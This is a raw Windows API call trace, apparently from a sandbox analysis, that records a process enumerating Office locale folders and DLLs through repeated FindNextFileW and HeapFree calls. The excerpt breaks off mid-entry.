FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1 [0234.838] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0234.838] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0234.843] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0234.843] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0235.263] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0235.265] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0f23aa6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0235.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0235.287] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0235.290] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0235.290] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf158c060, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0235.293] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0235.293] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Interop.MSDASC.dll", cAlternateFileName="INTERO~1.DLL")) returned 1 [0235.296] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0235.296] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0235.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0235.299] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1 [0235.302] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0235.302] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0235.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0235.714] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0235.719] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0235.719] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0235.725] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0235.725] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x164c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MDXQueryGenerator.DLL", cAlternateFileName="MDXQUE~1.DLL")) returned 1 [0235.737] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0235.737] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03d07a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167f56e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0235.742] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0235.742] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45d3b76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0235.747] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0235.747] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5ad675f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5ad675f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5ad675f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6faa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.DLL", cAlternateFileName="")) returned 1 [0235.751] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0235.752] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ba48, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.dll", cAlternateFileName="POWERP~1.DLL")) returned 1 [0237.816] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0237.816] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0238.034] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0238.034] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfae48f06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfae48f06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae6f174, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x174c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0238.087] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.087] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefee59ce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1026", cAlternateFileName="")) returned 1 [0238.088] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.088] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1755c61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1755c61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1755c61, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="10266", cAlternateFileName="")) returned 1 [0238.090] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.090] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4266542, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4266542, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4266542, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1027", cAlternateFileName="")) returned 1 [0238.093] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.093] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd42fe2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1028", cAlternateFileName="")) returned 1 [0238.096] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.096] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1029", cAlternateFileName="")) returned 1 [0238.098] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.098] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaf7a22a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf7a22a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf7a22a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1030", cAlternateFileName="")) returned 1 [0238.101] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.101] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1031", cAlternateFileName="")) returned 1 [0238.104] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.104] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e6a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51e6a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51e6a31, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1032", cAlternateFileName="")) returned 1 [0238.107] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.107] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42fef17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42fef17, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0238.108] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.108] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1035", cAlternateFileName="")) returned 1 [0238.110] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.110] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1 [0238.113] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.113] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1037", cAlternateFileName="")) returned 1 [0238.116] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.116] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88e2fa3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x88e2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1038", cAlternateFileName="")) returned 1 [0238.118] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.118] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1040", cAlternateFileName="")) returned 1 [0238.121] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.122] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1041", cAlternateFileName="")) returned 1 [0238.124] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.124] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf048f354, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf048f354, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf048f354, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1042", cAlternateFileName="")) returned 1 [0238.126] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.126] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1043", cAlternateFileName="")) returned 1 [0238.129] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.129] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61d7668, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1044", cAlternateFileName="")) returned 1 [0238.131] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.131] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2ebae3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1045", cAlternateFileName="")) returned 1 [0238.132] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.132] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1887f3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1887f3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1887f3e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1046", cAlternateFileName="")) returned 1 [0238.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.134] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, 